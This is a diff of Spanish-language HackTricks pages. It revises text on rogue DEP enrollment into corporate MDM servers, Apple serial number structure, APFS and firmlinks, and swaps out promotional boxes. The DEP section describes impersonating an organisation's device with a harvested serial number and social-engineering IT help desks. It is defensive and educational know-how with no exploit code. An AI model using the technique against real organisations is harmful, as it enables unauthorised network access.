Aunque parte de esta información podría estar disponible públicamente para ciertas organizaciones, tener un número de serie de un dispositivo propiedad de la organización junto con la información obtenida del perfil DEP podría ser utilizado en contra del equipo de ayuda o de TI de una organización para realizar cualquier número de ataques de ingeniería social, como solicitar un restablecimiento de contraseña o ayuda para inscribir un dispositivo en el servidor MDM de la empresa.
|
||||
#### Inscripción DEP Maliciosa
|
||||
|
||||
#### Inscripción DEP fraudulenta
|
||||
El [protocolo MDM de Apple](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf) soporta - pero no requiere - autenticación de usuario antes de la inscripción en MDM a través de [HTTP Basic Authentication](https://en.wikipedia.org/wiki/Basic\_access\_authentication). **Sin autenticación, todo lo que se requiere para inscribir un dispositivo en un servidor MDM a través de DEP es un número de serie válido registrado en DEP**. Por lo tanto, un atacante que obtenga tal número de serie (ya sea a través de [OSINT](https://en.wikipedia.org/wiki/Open-source\_intelligence), ingeniería social o fuerza bruta) podrá inscribir un dispositivo propio como si fuera propiedad de la organización, siempre y cuando no esté actualmente inscrito en el servidor MDM. Esencialmente, si un atacante logra ganar la carrera iniciando la inscripción DEP antes que el dispositivo real, podrá asumir la identidad de ese dispositivo.
|
||||
|
||||
El protocolo MDM de Apple admite, pero no requiere, la autenticación de usuario antes de la inscripción MDM a través de la autenticación básica de HTTP. **Sin autenticación, todo lo que se requiere para inscribir un dispositivo en un servidor MDM a través de DEP es un número de serie válido registrado en DEP**. Por lo tanto, un atacante que obtenga dicho número de serie (ya sea a través de OSINT, ingeniería social o por fuerza bruta) podrá inscribir un dispositivo propio como si fuera propiedad de la organización, siempre y cuando no esté actualmente inscrito en el servidor MDM. Esencialmente, si un atacante es capaz de ganar la carrera iniciando la inscripción DEP antes del dispositivo real, pueden asumir la identidad de ese dispositivo.
|
||||
Las organizaciones pueden - y lo hacen - utilizar MDM para desplegar información sensible como certificados de dispositivo y usuario, datos de configuración de VPN, agentes de inscripción, Perfiles de Configuración y varios otros datos internos y secretos organizacionales. Además, algunas organizaciones eligen no requerir autenticación de usuario como parte de la inscripción en MDM. Esto tiene varios beneficios, como una mejor experiencia de usuario y no tener que [exponer el servidor de autenticación interno al servidor MDM para manejar inscripciones de MDM que se realizan fuera de la red corporativa](https://docs.simplemdm.com/article/93-ldap-authentication-with-apple-dep).
|
||||
|
||||
Las organizaciones pueden, y lo hacen, aprovechar MDM para implementar información sensible como certificados de dispositivo y usuario, datos de configuración de VPN, agentes de inscripción, perfiles de configuración y varios otros datos internos y secretos organizacionales. Además, algunas organizaciones eligen no requerir la autenticación de usuario como parte de la inscripción MDM. Esto tiene varios beneficios, como una mejor experiencia de usuario y no tener que exponer el servidor de autenticación interno al servidor MDM para manejar las inscripciones MDM que tienen lugar fuera de la red corporativa.
|
||||
Sin embargo, esto presenta un problema al utilizar DEP para iniciar la inscripción en MDM, ya que un atacante podría inscribir cualquier punto final de su elección en el servidor MDM de la organización. Además, una vez que un atacante inscribe con éxito un punto final de su elección en MDM, podría obtener acceso privilegiado que podría ser utilizado para pivotar aún más dentro de la red.
|
||||
|
||||
Esto presenta un problema al aprovechar DEP para arrancar la inscripción MDM, ya que un atacante podría inscribir cualquier punto final de su elección en el servidor MDM de la organización. Además, una vez que un atacante inscribe con éxito un punto final de su elección en MDM, puede obtener acceso privilegiado que podría ser utilizado para pivotar aún más dentro de la red.
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al grupo de** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) o al grupo de [**telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,78 +1,80 @@
|
|||
# Número de serie de macOS
|
||||
# Número de Serie de macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
Los dispositivos Apple fabricados después de 2010 generalmente tienen números de serie alfanuméricos de **12 caracteres**, con los **primeros tres dígitos que representan la ubicación de fabricación**, los siguientes **dos** que indican el **año** y la **semana** de fabricación, los siguientes **tres** dígitos proporcionan un **identificador único**, y los **últimos cuatro** dígitos representan el **número de modelo**.
|
||||
Los dispositivos Apple fabricados después de 2010 generalmente tienen números de serie **alfanuméricos de 12 caracteres**, con los **primeros tres dígitos representando el lugar de fabricación**, los siguientes **dos** indicando el **año** y **semana** de fabricación, los siguientes **tres** dígitos proporcionando un **identificador único**, y los **últimos** **cuatro dígitos representando el número de modelo**.
|
||||
|
||||
Ejemplo de número de serie: **C02L13ECF8J2**
|
||||
|
||||
### **3 - Ubicaciones de fabricación**
|
||||
### **3 - Lugares de fabricación**
|
||||
|
||||
| Código | Fábrica |
|
||||
| ------ | -------------------------------------------- |
|
||||
| FC | Fountain Colorado, EE. UU. |
|
||||
| F | Fremont, California, EE. UU. |
|
||||
| XA, XB, QP, G8 | EE. UU. |
|
||||
| RN | México |
|
||||
| CK | Cork, Irlanda |
|
||||
| VM | Foxconn, Pardubice, República Checa |
|
||||
| SG, E | Singapur |
|
||||
| MB | Malasia |
|
||||
| PT, CY | Corea |
|
||||
| EE, QT, UV | Taiwán |
|
||||
| FK, F1, F2 | Foxconn - Zhengzhou, China |
|
||||
| W8 | Shanghai, China |
|
||||
| DL, DM | Foxconn - China |
|
||||
| DN | Foxconn, Chengdu, China |
|
||||
| YM, 7J | Hon Hai/Foxconn, China |
|
||||
| Código | Fábrica |
|
||||
| -------------- | -------------------------------------------- |
|
||||
| FC | Fountain Colorado, EE.UU. |
|
||||
| F | Fremont, California, EE.UU. |
|
||||
| XA, XB, QP, G8 | EE.UU. |
|
||||
| RN | México |
|
||||
| CK | Cork, Irlanda |
|
||||
| VM | Foxconn, Pardubice, República Checa |
|
||||
| SG, E | Singapur |
|
||||
| MB | Malasia |
|
||||
| PT, CY | Corea |
|
||||
| EE, QT, UV | Taiwán |
|
||||
| FK, F1, F2 | Foxconn – Zhengzhou, China |
|
||||
| W8 | Shanghai China |
|
||||
| DL, DM | Foxconn – China |
|
||||
| DN | Foxconn, Chengdu, China |
|
||||
| YM, 7J | Hon Hai/Foxconn, China |
|
||||
| 1C, 4H, WQ, F7 | China |
|
||||
| C0 | Tech Com - Subsidiaria de Quanta Computer, China |
|
||||
| C3 | Foxxcon, Shenzhen, China |
|
||||
| C7 | Pentragon, Changhai, China |
|
||||
| RM | Remanufacturado |
|
||||
| C0 | Tech Com – Filial de Quanta Computer, China |
|
||||
| C3 | Foxxcon, Shenzhen, China |
|
||||
| C7 | Pentragon, Changhai, China |
|
||||
| RM | Reacondicionado/remodelado |
|
||||
|
||||
### 1 - Año de fabricación
|
||||
|
||||
| Código | Lanzamiento |
|
||||
| ------ | ------------------------ |
|
||||
| C | 2010/2020 (1er semestre) |
|
||||
| D | 2010/2020 (2do semestre) |
|
||||
| F | 2011/2021 (1er semestre) |
|
||||
| G | 2011/2021 (2do semestre) |
|
||||
| H | 2012/... (1er semestre) |
|
||||
| J | 2012 (2do semestre) |
|
||||
| K | 2013 (1er semestre) |
|
||||
| L | 2013 (2do semestre) |
|
||||
| M | 2014 (1er semestre) |
|
||||
| N | 2014 (2do semestre) |
|
||||
| P | 2015 (1er semestre) |
|
||||
| Q | 2015 (2do semestre) |
|
||||
| R | 2016 (1er semestre) |
|
||||
| S | 2016 (2do semestre) |
|
||||
| T | 2017 (1er semestre) |
|
||||
| V | 2017 (2do semestre) |
|
||||
| W | 2018 (1er semestre) |
|
||||
| X | 2018 (2do semestre) |
|
||||
| Y | 2019 (1er semestre) |
|
||||
| Z | 2019 (2do semestre) |
|
||||
| Código | Lanzamiento |
|
||||
| ------ | --------------------- |
|
||||
| C | 2010/2020 (1.ª mitad) |
|
||||
| D | 2010/2020 (2.ª mitad) |
|
||||
| F | 2011/2021 (1.ª mitad) |
|
||||
| G | 2011/2021 (2.ª mitad) |
|
||||
| H | 2012/... (1.ª mitad) |
|
||||
| J | 2012 (2.ª mitad) |
|
||||
| K | 2013 (1.ª mitad) |
|
||||
| L | 2013 (2.ª mitad) |
|
||||
| M | 2014 (1.ª mitad) |
|
||||
| N | 2014 (2.ª mitad) |
|
||||
| P | 2015 (1.ª mitad) |
|
||||
| Q | 2015 (2.ª mitad) |
|
||||
| R | 2016 (1.ª mitad) |
|
||||
| S | 2016 (2.ª mitad) |
|
||||
| T | 2017 (1.ª mitad) |
|
||||
| V | 2017 (2.ª mitad) |
|
||||
| W | 2018 (1.ª mitad) |
|
||||
| X | 2018 (2.ª mitad) |
|
||||
| Y | 2019 (1.ª mitad) |
|
||||
| Z | 2019 (2.ª mitad) |
|
||||
|
||||
### 1 - Semana de fabricación
|
||||
|
||||
El quinto carácter representa la semana en que se fabricó el dispositivo. Hay 28 caracteres posibles en este lugar: **los dígitos del 1 al 9 se utilizan para representar las primeras nueve semanas**, y las **letras C a Y**, **excluyendo** las vocales A, E, I, O y U, y la letra S, representan las **semanas diez a veintisiete**. Para los dispositivos fabricados en la **segunda mitad del año, se agrega 26** al número representado por el quinto carácter del número de serie. Por ejemplo, un producto con un número de serie cuyos cuarto y quinto dígitos son "JH" fue fabricado en la semana 40 de 2012.
|
||||
El quinto carácter representa la semana en la que se fabricó el dispositivo. Hay 28 caracteres posibles en este lugar: **los dígitos del 1 al 9 se utilizan para representar desde la primera hasta la novena semana**, y los **caracteres de la C a la Y**, **excluyendo** las vocales A, E, I, O y U, y la letra S, representan **desde la décima hasta la vigésimo séptima semana**. Para dispositivos fabricados en la **segunda mitad del año, se añaden 26** al número representado por el quinto carácter del número de serie. Por ejemplo, un producto con un número de serie cuyos cuarto y quinto dígitos son “JH” fue fabricado en la 40.ª semana de 2012.
|
||||
|
||||
### 3 - Código único
|
||||
### 3 - Código Único
|
||||
|
||||
Los siguientes tres dígitos son un código identificador que **sirve para diferenciar cada dispositivo Apple del mismo modelo** que se fabrica en la misma ubicación y durante la misma semana del mismo año, asegurando que cada dispositivo tenga un número de serie diferente.
|
||||
Los siguientes tres dígitos son un código identificador que **sirve para diferenciar cada dispositivo Apple del mismo modelo** que se fabrica en el mismo lugar y durante la misma semana del mismo año, asegurando que cada dispositivo tenga un número de serie diferente.
|
||||
|
||||
### 4 - Número de serie
|
||||
|
||||
|
@ -84,9 +86,14 @@ Los últimos cuatro dígitos del número de serie representan el **modelo del pr
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/c
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,38 +2,40 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Sistema de archivos propietario de Apple (APFS)
|
||||
## Sistema de Archivos Propietario de Apple (APFS)
|
||||
|
||||
APFS, o Apple File System, es un sistema de archivos moderno desarrollado por Apple Inc. que fue diseñado para reemplazar el antiguo Hierarchical File System Plus (HFS+) con énfasis en **mejorar el rendimiento, la seguridad y la eficiencia**.
|
||||
APFS, o Apple File System, es un sistema de archivos moderno desarrollado por Apple Inc. diseñado para reemplazar el antiguo Sistema de Archivos Jerárquico Plus (HFS+) con énfasis en **mejor rendimiento, seguridad y eficiencia**.
|
||||
|
||||
Algunas características destacadas de APFS incluyen:
|
||||
Algunas características notables de APFS incluyen:
|
||||
|
||||
1. **Compartición de espacio**: APFS permite que múltiples volúmenes **compartan el mismo almacenamiento libre subyacente** en un solo dispositivo físico. Esto permite una utilización más eficiente del espacio, ya que los volúmenes pueden crecer y reducirse dinámicamente sin necesidad de redimensionamiento o reparticionamiento manual.
|
||||
1. Esto significa, en comparación con las particiones tradicionales en discos de archivos, **que en APFS diferentes particiones (volúmenes) comparten todo el espacio en disco**, mientras que una partición regular generalmente tenía un tamaño fijo.
|
||||
2. **Instantáneas**: APFS admite **crear instantáneas**, que son instancias **de solo lectura** del sistema de archivos en un momento específico. Las instantáneas permiten realizar copias de seguridad eficientes y revertir fácilmente el sistema, ya que consumen un almacenamiento adicional mínimo y se pueden crear o revertir rápidamente.
|
||||
3. **Clones**: APFS puede **crear clones de archivos o directorios que comparten el mismo almacenamiento** que el original hasta que se modifique el clon o el archivo original. Esta función proporciona una forma eficiente de crear copias de archivos o directorios sin duplicar el espacio de almacenamiento.
|
||||
4. **Cifrado**: APFS **admite nativamente el cifrado de disco completo**, así como el cifrado por archivo y por directorio, mejorando la seguridad de los datos en diferentes casos de uso.
|
||||
5. **Protección contra fallos**: APFS utiliza un **esquema de metadatos de copia en escritura que garantiza la consistencia del sistema de archivos** incluso en casos de pérdida repentina de energía o bloqueo del sistema, reduciendo el riesgo de corrupción de datos.
|
||||
1. **Compartición de Espacio**: APFS permite que múltiples volúmenes **compartan el mismo almacenamiento libre subyacente** en un solo dispositivo físico. Esto permite una utilización del espacio más eficiente, ya que los volúmenes pueden crecer y reducirse dinámicamente sin necesidad de redimensionamiento manual o reparticionamiento.
|
||||
2. Esto significa, en comparación con las particiones tradicionales en discos de archivos, **que en APFS diferentes particiones (volúmenes) comparten todo el espacio del disco**, mientras que una partición regular solía tener un tamaño fijo.
|
||||
3. **Instantáneas**: APFS soporta **la creación de instantáneas**, que son instancias del sistema de archivos **solo lectura** y de un punto en el tiempo específico. Las instantáneas permiten realizar copias de seguridad eficientes y restauraciones del sistema fáciles, ya que consumen un almacenamiento adicional mínimo y pueden ser creadas o revertidas rápidamente.
|
||||
4. **Clones**: APFS puede **crear clones de archivos o directorios que comparten el mismo almacenamiento** que el original hasta que se modifique el clon o el archivo original. Esta característica proporciona una manera eficiente de crear copias de archivos o directorios sin duplicar el espacio de almacenamiento.
|
||||
5. **Encriptación**: APFS **soporta de forma nativa la encriptación completa del disco** así como la encriptación por archivo y por directorio, mejorando la seguridad de los datos en diferentes casos de uso.
|
||||
6. **Protección contra fallos**: APFS utiliza un esquema de metadatos de **escritura por copia que asegura la consistencia del sistema de archivos** incluso en casos de pérdida de energía súbita o fallos del sistema, reduciendo el riesgo de corrupción de datos.
|
||||
|
||||
En general, APFS ofrece un sistema de archivos más moderno, flexible y eficiente para dispositivos Apple, con un enfoque en mejorar el rendimiento, la confiabilidad y la seguridad.
|
||||
En general, APFS ofrece un sistema de archivos más moderno, flexible y eficiente para dispositivos Apple, con un enfoque en el mejor rendimiento, fiabilidad y seguridad.
|
||||
```bash
|
||||
diskutil list # Get overview of the APFS volumes
|
||||
```
|
||||
## Firmlinks
|
||||
|
||||
El volumen `Data` se monta en **`/System/Volumes/Data`** (puedes verificar esto con `diskutil apfs list`).
|
||||
El volumen `Data` está montado en **`/System/Volumes/Data`** (puedes verificar esto con `diskutil apfs list`).
|
||||
|
||||
La lista de firmlinks se encuentra en el archivo **`/usr/share/firmlinks`**.
|
||||
La lista de firmlinks se puede encontrar en el archivo **`/usr/share/firmlinks`**.
|
||||
```bash
|
||||
cat /usr/share/firmlinks
|
||||
/AppleInternal AppleInternal
|
||||
|
@ -41,16 +43,18 @@ cat /usr/share/firmlinks
|
|||
/Library Library
|
||||
[...]
|
||||
```
|
||||
En la **izquierda**, se encuentra la ruta del directorio en el **volumen del sistema**, y en la **derecha**, la ruta del directorio donde se mapea en el **volumen de datos**. Por lo tanto, `/library` --> `/system/Volumes/data/library`
|
||||
A la **izquierda**, está la ruta del directorio en el **volumen del sistema**, y a la **derecha**, la ruta del directorio donde se mapea en el **volumen de datos**. Entonces, `/library` --> `/system/Volumes/data/library`
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue**me en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,30 +2,34 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Objective-C
|
||||
|
||||
{% hint style="danger" %}
|
||||
